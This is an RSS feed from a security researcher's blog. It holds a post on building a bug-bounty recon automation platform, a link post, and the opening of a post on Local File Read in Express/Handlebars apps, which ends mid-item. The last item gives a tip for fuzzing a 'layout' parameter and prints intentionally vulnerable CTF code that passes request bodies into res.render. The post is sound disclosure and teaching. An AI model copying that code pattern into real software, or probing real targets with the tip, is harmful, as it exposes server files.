<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Shoeb Patel</title><description>Security research and engineering notes by Shoeb Patel, Application Security Engineer at Amazon: web/API security, vulnerability research, tooling and automation, and hacking with and against AI agents.</description><link>https://research.shoebpatel.com/</link><language>en</language><item><title>Automata: A General-Purpose Automation Platform</title><link>https://research.shoebpatel.com/2022/07/27/Automata-A-General-Purpose-Automation-Platform/</link><guid isPermaLink="true">https://research.shoebpatel.com/2022/07/27/Automata-A-General-Purpose-Automation-Platform/</guid><description>In this post, I summarise how I ended up building Automata, a platform to easily create and run arbitrary and powerful workflows that during their executions, can also store data as well as invoke alerts. If you want to skip the content and first see what Automata looks like, click here. Until mid…</description><pubDate>Wed, 27 Jul 2022 08:03:37 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/Automata-thumbnail.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this post, I summarise how I ended up building &lt;code&gt;Automata&lt;/code&gt;, a platform to easily create and run arbitrary and powerful workflows that during their executions, can also store data as well as invoke alerts.&lt;/p&gt;
&lt;p&gt;If you want to skip the content and first see what Automata looks like, &lt;a href=&quot;#vBeta-Demo&quot;&gt;click here.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;Introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Until mid-2020, I used to be a moderately active bug bounty hacker but then I decided to start working on automating my workflow of doing attack surface reconnaissance.&lt;/p&gt;
&lt;blockquote&gt;
FYI, Reconnaissance(recon) is gathering publicly available technical information about Target Company&apos;s Apps/Assets and throwing lots of TCP and HTTP packets at IPs, and domains hosting these to find interesting ones among thousands. Jason Haddix&apos;s Training  &lt;a href=&quot;https://www.youtube.com/watch?v=uKWu6yhnhbQ&quot;&gt;&quot;The Bug Hunter&apos;s Methodology at DEFCON 28&quot;&lt;/a&gt;  goes in-depth, if you want to learn more about it.
&lt;/blockquote&gt;
&lt;p&gt;Later, what actually happened can be accurately summarised with an XKCD!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/automation-xkcd.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic; margin-top: -10px;&quot;&gt; &lt;a href=&quot;https://xkcd.com/1319/&quot;&gt;(xkcd #1319)&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Even till now, I haven’t gotten back to actively bounty hacking. Obviously, work and personal life also took priority but this side project also got a big chunk from it. So, as you would ask, what happened?&lt;/p&gt;
&lt;h2 id=&quot;Lessons-From-the-Past&quot;&gt;Lessons From the Past&lt;/h2&gt;
&lt;h4 id=&quot;📄-Local-Scripts&quot;&gt;📄 Local Scripts&lt;/h4&gt;
&lt;p&gt;Like every web hacker, I started with writing hacky scripts, which were just chaining some of the open source tools to get the job done. The scripts were running the usual tools for doing Passive Enumerations, Network Scanning, Application Layer Fingerprinting, etc.&lt;/p&gt;
&lt;p&gt;This was helpful for starting manual hacking as I could now pick interesting assets to hack based on what recon automation found. But there were problems with it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Long-running slow subtasks like Port Scanning, and Screenshotting were not finishing on targets with the huge number of assets.&lt;/li&gt;
&lt;li&gt;Scheduling tasks with cron for Continous Automation, and Monitoring, was not possible on the local machine. Hence, the data would become stale quickly, and I was not able to trust this data even on the next day.&lt;/li&gt;
&lt;li&gt;Searching, aggregating, analytics, etc. on this unstructured &amp;amp; unindexed data dump was not possible.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These problems were not enough for me to solve them, I was pretty satisfied with the results from my core app hacking and was just using recon for kickstart.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Until I lost $8,500 in reward for a critical vulnerability getting duplicated due to a weird trail of events.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Around 2019-2020, reporting critical CVEs was in fashion. There was a particular critical CVE that was trending at the time. The CVE was of Path Traversal + Partial Write Primitive = RCE for an asset that I had seen in the past on one of the very high-paying targets. I had not done a full recon for this target, just simple subdomain scraping and I did not have the fingerprint data, so decided to launch the scripts and browse through fingerprints on the search engines in parallel (Shodan, Censys, etc).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Friday, 9:00 PM - Start of Manual Recon and Automation.&lt;/li&gt;
&lt;li&gt;Friday, 9:30 PM - I am on &lt;code&gt;page Y&lt;/code&gt; of Censys search results, scripts are still running.&lt;/li&gt;
&lt;li&gt;Friday, 9:31 PM - A friend interrupted me for dinner. I close the laptop and don’t come back to it till the next day.&lt;/li&gt;
&lt;li&gt;Saturday, ~3:45 PM - I return back to look at the Recon work I was doing.&lt;/li&gt;
&lt;li&gt;Saturday, 3:50 PM - I find the asset I was looking for on &lt;code&gt;page Y+1&lt;/code&gt; of censys search as well as in the script’s data dump and I check if it’s vulnerable to the Critical CVE, it is Vulnerable! I get excited and report it.&lt;/li&gt;
&lt;li&gt;Saturday, 4:13 PM - I get to know that I am the first to report the duplicate of a report submitted on &lt;code&gt;Saturday, 8:23 AM&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/Automata-blog-Reports.drawio.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic; margin-top: -10px;&quot;&gt; ($8.5k lost on a single report.) &lt;/p&gt;
&lt;p&gt;At that moment I thought, I lost the bounty just because I got interrupted. But soon after, I realized the &lt;code&gt;real root cause is not having a system with capabilities of continuous automation, monitoring and alerting&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Similarly &lt;span style=&quot;font-weight: bold;&quot;&gt;$50k+&lt;/span&gt; worth of easy bounties I lost to all CVE duplicates in that period alone. Many hackers like me were just not able to capitalize on these easy wins at the time.&lt;/p&gt;
&lt;p&gt;So, I decided to build a tool to solve this systemically.&lt;/p&gt;
&lt;h4 id=&quot;📸-Montage-The-Handcrafted-ASM-Tool&quot;&gt;📸 Montage - The Handcrafted ASM Tool&lt;/h4&gt;
&lt;p&gt;In April 2020, I started developing a hardwired workflow service that would do what my scripts used to do and store all the results in the Database. This also used the stack’s native task queue powered with Redis to distribute the workloads to multiple processes. Also wrote a UI-API for performing CRUD on this Data and invoking workflows.&lt;/p&gt;
&lt;p&gt;I called it &lt;code&gt;Montage&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At a high level it looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/Automata-blog-montage.drawio.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic; margin-top: -10px;&quot;&gt;(Montage HLD)&lt;/p&gt;
&lt;p&gt;At the time I did not know better and Montage was anyway a great improvement compared to my local clunky scripts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Long executing subtasks were not a problem anymore as they were being run on a VPS with good resources.&lt;/li&gt;
&lt;li&gt;Now I could run the automation continuously as well as in schedules, this solved problem of stale data.&lt;/li&gt;
&lt;li&gt;The UI, API, and DB solved the problem with Data Usability (Now I could search for vulnerability signatures across all the Bug Bounty targets I was interested in, you can imagine this as my personal Shodan).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As you can see, on paper, it solved all of my previous problems right?&lt;/p&gt;
&lt;p&gt;But Montage came with its own problems (at least in the way how I designed and wrote it at the time), and they were always in the back of my mind from the start but I ignored those and thought of tackling them whenever they surfaced.&lt;/p&gt;
&lt;p&gt;But they surfaced very soon.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I chose dynamically typed language for developing everything and wrote zero tests.&lt;/li&gt;
&lt;li&gt;The code was not well structured from the start as I just wanted to get this done and move on to actual hacking. Updating and maintaining Workflow Service orchestration code became very hard.&lt;/li&gt;
&lt;li&gt;It was not possible to deploy and distribute workflows on multiple machines, I was relying on just vertical scaling.&lt;/li&gt;
&lt;li&gt;I also did not pay much attention to UI code and design. It was coming up very poorly and was discouraging.&lt;/li&gt;
&lt;li&gt;Anytime adding a new workflow or updating existing ones was breaking things and taking a lot of debugging time. Poor DevX.&lt;/li&gt;
&lt;li&gt;Nobody else could contribute their workflows themselves as they would have to learn the tech stack as well as the code.&lt;/li&gt;
&lt;li&gt;Workflow Service was a critical point of failure. Task failure handling was flaky.&lt;/li&gt;
&lt;li&gt;Basically all the software engineering problems that come with a poorly designed system.&lt;/li&gt;
&lt;li&gt;… I can just go on. It had many problems.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These are all real problems but Montage was a good MVP and usable for Recon. I would have just gone ahead and used this anyway. At least at the time, I don’t know how I would have designed it better on my own with just the knowledge I had.&lt;/p&gt;
&lt;p&gt;I also thought of just utilizing what other people were developing but these tools suffered with their own problems, and customizing them to my needs was not possible. I wanted something according to my designs.&lt;/p&gt;
&lt;p&gt;Luckily, when I was about 70% done with developing Montage, parallelly I was working on other projects which involved reviewing a CI/CD system for security issues and unrelated Automation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Decomposing a CI/CD system for hacking, gave me a deeper understanding of how its different components worked and more importantly its Capabilities.&lt;/li&gt;
&lt;li&gt;Automation project required running some OSS CLIs based on certain triggers. As I knew, designing and developing my own job runner is a pain (If you think, Montage at the core is also a job runner).&lt;/li&gt;
&lt;li&gt;The Infrastructure I was working with did not have access to any serverless self-scaling workload runner system.&lt;/li&gt;
&lt;li&gt;But, the CI/CD system was self-scaling and container-native.&lt;/li&gt;
&lt;li&gt;I used a single-step CI pipeline to execute the CLI so that now I don’t need to worry about the problems with job runners, it’s all now off-loaded to CI/CD system.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/Automata-blog-CI_CD.drawio.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic; margin-top: -10px;&quot;&gt;(... kind of using CI as a serverless compute platform.)&lt;/p&gt;
&lt;p&gt;This was a sustainable and minimal design that was easy to maintain. So now I knew better means to automate and I decided to sunset Montage.&lt;/p&gt;
&lt;h2 id=&quot;🧩-Automata-A-proper-way-to-automate-anything&quot;&gt;🧩 Automata - A proper way to automate anything!&lt;/h2&gt;
&lt;p&gt;I started with listing what was ideally required:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Workflows:
&lt;ul&gt;
&lt;li&gt;It must be super easy to add, schedule, continuously run, test, update, and remove any number of workflows.&lt;/li&gt;
&lt;li&gt;Workflows must be modular and we should be able to &lt;strong&gt;define Code, Environment, Input, Output, and Resources (CPU/Memory)&lt;/strong&gt; required for these modules.&lt;/li&gt;
&lt;li&gt;Workflows must be able to take advantage of multiple machines.&lt;/li&gt;
&lt;li&gt;Previous executions of workflows must be auditable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Data Persistence:
&lt;ul&gt;
&lt;li&gt;The data and logs produced during execution must be stored.&lt;/li&gt;
&lt;li&gt;Should be easy to define storage schema.&lt;/li&gt;
&lt;li&gt;We should be able to Search, Visualize, and Analyze data.&lt;/li&gt;
&lt;li&gt;It should also provide artifact storage.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Alerting:
&lt;ul&gt;
&lt;li&gt;Workflows should be able to raise alerts while executing.&lt;/li&gt;
&lt;li&gt;We shouldn’t need to write code if we wanted to integrate a new alerting mechanism.&lt;/li&gt;
&lt;li&gt;Alerts raised in past must be stored.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Usability:
&lt;ul&gt;
&lt;li&gt;The UI must be pretty.&lt;/li&gt;
&lt;li&gt;Collaboration on workflows with teammates should be possible.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;!-- &lt;blockquote&gt; --&gt;
&lt;p&gt;&lt;strong&gt;I called it “Automata”. It is a reference to &lt;a href=&quot;https://en.wikipedia.org/wiki/Automata_theory&quot;&gt;“Automatons from Theoretical Computer Science.”&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;!-- &lt;/blockquote&gt; --&gt;
&lt;p&gt;I wanted it to be an abstract and generic platform to create arbitrary and customizable automations which served any purpose. What I &lt;strong&gt;did not want&lt;/strong&gt; it to be was another hardwired Attack Surface Management(ASM) tool for just security use-case.&lt;/p&gt;
&lt;blockquote&gt;
Basically not another ASM tool but a Low-code platform to CREATE ASMs or any type of such automations through UI.
&lt;/blockquote&gt;
&lt;p&gt;October 2020, I started deep diving into the components that I will be stitching together to build Automata.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;UI Design and Frontend App Development Frameworks.&lt;/li&gt;
&lt;li&gt;Chosen CI and its underlying infrastructure.&lt;/li&gt;
&lt;li&gt;Suitable Databases and design patterns.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On 22 November 2020, I submitted the first commit for the Automata repo with base code. It was the first commit of many.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/Automata-blog-github-activity-2021.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic; margin-top: -10px;&quot;&gt;(Github activity, Year 2021)&lt;/p&gt;
&lt;p&gt;At a very high level, the design looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/Automata-blog-Automata-HLD.drawio.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic; margin-top: -10px;&quot;&gt;(Automata HLD)&lt;/p&gt;
&lt;p&gt;I took a slow but consistent approach towards working on it and completed Automata’s first MVP, in February 2022. I was about to invite some friends to try out the vBeta but then some high-priority tasks came and I was not able to get back to it.&lt;/p&gt;
&lt;p&gt;There is still some polishing work remaining on reliability, maintainability, and some minor features. But at this current moment, this is how the Automata looks :)&lt;/p&gt;
&lt;h2 id=&quot;vBeta-Demo&quot;&gt;vBeta Demo&lt;/h2&gt;
&lt;iframe style=&quot;margin-top: 10px;&quot; width=&quot;100%&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Eq3A-o1Q5T4&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic;&quot;&gt;(vBeta Preview)&lt;/p&gt;
&lt;p&gt;In the above video, you can see the gist of its capabilities. The workflows in the video are &lt;a href=&quot;https://www.youtube.com/watch?v=uKWu6yhnhbQ&quot;&gt;“The Bug Hunter’s Methodology” by Jason Haddix&lt;/a&gt; and a standard github leak monitor.&lt;/p&gt;
&lt;p&gt;And now, this is how easy it is for me to create new workflows ⬇️&lt;/p&gt;
&lt;iframe style=&quot;margin-top: 10px;&quot; width=&quot;100%&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/l_qx-QxMl54&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p style=&quot;text-align: center; font-size:0.75rem; font-style: italic;&quot;&gt;(Creating a sample workflow on Automata)&lt;/p&gt;
&lt;blockquote&gt;
Automata makes it effortless to create arbitrary workflows. The other features i.e. Objects, Visualizations, Tripwires, etc. are complementary to workflows and make up for the functionalities other than automation.
&lt;/blockquote&gt;
&lt;h2 id=&quot;Conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;After my senior year of college, I never got a chance to work on a full-fledged software project which did not involve security, all of my internships and work revolves around Security Engineering and Hacking.&lt;/p&gt;
&lt;p&gt;For me, this side project was an enjoyable experience in Software Engineering and System Design. While developing I got to know about similar platforms, and it was a satisfactory validation of my ideas for Automata.&lt;/p&gt;
&lt;p&gt;As no system is perfect, I would love to hear people’s thoughts on how Automata can be better.&lt;/p&gt;
&lt;p&gt;After looking at the demo, if you think Automata can be useful for you and want to try it out, or if you have any feedback, please reach out to me via this &lt;a href=&quot;https://forms.gle/cXPdRdxJ2Bh3Hdx76&quot;&gt;Google Form&lt;/a&gt; or social media (&lt;a href=&quot;https://www.linkedin.com/in/iamshoebpatel/&quot;&gt;Linkedin&lt;/a&gt;, &lt;a href=&quot;https://x.com/shoebpatel_&quot;&gt;Twitter&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Thanks for reading till the end.&lt;/p&gt;
&lt;p&gt;Best,&lt;br&gt;
CF&lt;/p&gt;
</content:encoded><category>Automation</category><category>BugBounty</category><category>Security Engineering</category><author>Shoeb Patel</author></item><item><title>How Flipkart Reacts to Security Vulnerabilities</title><link>https://research.shoebpatel.com/2022/04/19/How-Flipkart-Reacts-to-Security-Vulnerabilities/</link><guid isPermaLink="true">https://research.shoebpatel.com/2022/04/19/How-Flipkart-Reacts-to-Security-Vulnerabilities/</guid><description>Post was written for Flipkart Tech Blog while being employed as Senior Security Engineer for AppSec Team at Flipkart. 👉 Link to the post</description><pubDate>Tue, 19 Apr 2022 12:22:57 GMT</pubDate><content:encoded>&lt;blockquote&gt;
Post was written for &lt;a href=&quot;https://blog.flipkart.tech/&quot;&gt;Flipkart Tech Blog&lt;/a&gt; while being employed as Senior Security Engineer for AppSec Team at &lt;a href=&quot;https://en.wikipedia.org/wiki/Flipkart&quot;&gt;Flipkart&lt;/a&gt;.
&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 1rem;&quot;&gt; 👉 &lt;a href=&quot;https://blog.flipkart.tech/how-flipkart-reacts-to-security-vulnerabilities-17dae9b0661e&quot;&gt;Link to the post&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
</content:encoded><category>Security Engineering</category><category>Vulnerabilities</category><category>SSDLC</category><author>Shoeb Patel</author></item><item><title>The Secret Parameter, LFR, and Potential RCE in NodeJS Apps</title><link>https://research.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/</link><guid isPermaLink="true">https://research.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/</guid><description>If you are using ExpressJs with Handlebars as templating engine invoked via hbs view engine, for Server Side Rendering, you are likely vulnerable to Local File Read (LFR) and potential Remote Code Execution (RCE). 1. If the target is responding with X Powered By: Express and there is HTML in…</description><pubDate>Sat, 23 Jan 2021 07:43:37 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/banner.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;TL-DR&quot;&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;If you are using ExpressJs with Handlebars as templating engine invoked via &lt;a href=&quot;https://www.npmjs.com/package/hbs&quot;&gt;hbs&lt;/a&gt; view engine, for Server Side Rendering, you are likely vulnerable to Local File Read (LFR) and potential Remote Code Execution (RCE).&lt;/p&gt;
&lt;h3 id=&quot;BugBountyTip💰&quot;&gt;#BugBountyTip💰&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;If the target is responding with &lt;code&gt;X-Powered-By: Express&lt;/code&gt; and there is HTML in responses, it’s highly likely that NodeJs with server-side templating is being used.&lt;/li&gt;
&lt;li&gt;Add &lt;code&gt;layout&lt;/code&gt; in your wordlist of parameter discovery/fuzzing for GET query or POST body.&lt;/li&gt;
&lt;li&gt;If the arbitrary value of &lt;code&gt;layout&lt;/code&gt; parameter added is resulting in &lt;code&gt;500 Internal Server Error&lt;/code&gt; with &lt;code&gt;ENOENT: no such file or directory&lt;/code&gt; in body, You have hit the LFR.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;Details&quot;&gt;Details&lt;/h3&gt;
&lt;p&gt;About more than a week back, I stumbled upon a critical Local File Read (LFR) security issue which had the potential to give Remote Code Execution in a fairly simple ~10 lines of &lt;code&gt;NodeJS/ExpressJs&lt;/code&gt; code which looked like the following:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; express &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; router &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; express.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;Router&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;router.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; 	res.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;index&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;router.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	var&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; profile &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; req.body.profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; 	res.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;index&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, profile)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; router;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;The whole source can be found &lt;a href=&quot;https://github.com/CaptainFreak/Web-CTF-Challenges/tree/main/profiler&quot;&gt;here.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you are even a little bit familiar with NodeJs Ecosystem and have written at least your first &lt;code&gt;Hello World&lt;/code&gt; endpoint in &lt;code&gt;ExpressJs&lt;/code&gt;, you will certify that this is clearly straightforward and innocent code.&lt;/p&gt;
&lt;p&gt;So after getting surprised and disillusioned by the security bug, I remembered that It’s indeed called &lt;strong&gt;&lt;code&gt;Dependency Hell&lt;/code&gt;&lt;/strong&gt;. To be honest, I should not have been that surprised.&lt;/p&gt;
&lt;p&gt;The betrayal by in-built modules, dependencies, and packages have been the reason to introduce numerous security bugs. This is a re-occurring theme in software security anyway.&lt;/p&gt;
&lt;p&gt;To check out if this is a known issue or not, I created a CTF challenge and shared it with many of my talented friends belonging to multiple community forums of Web Security, Node, Backend Engineering, CTFs, and BugBounty.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Node/Express.js Web Security Challenge:&lt;a href=&quot;https://t.co/vjOUcxHdVx&quot;&gt;https://t.co/vjOUcxHdVx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Very short code: &lt;a href=&quot;https://t.co/gkjcZ24YUt&quot;&gt;https://t.co/gkjcZ24YUt&lt;/a&gt;&lt;/p&gt;
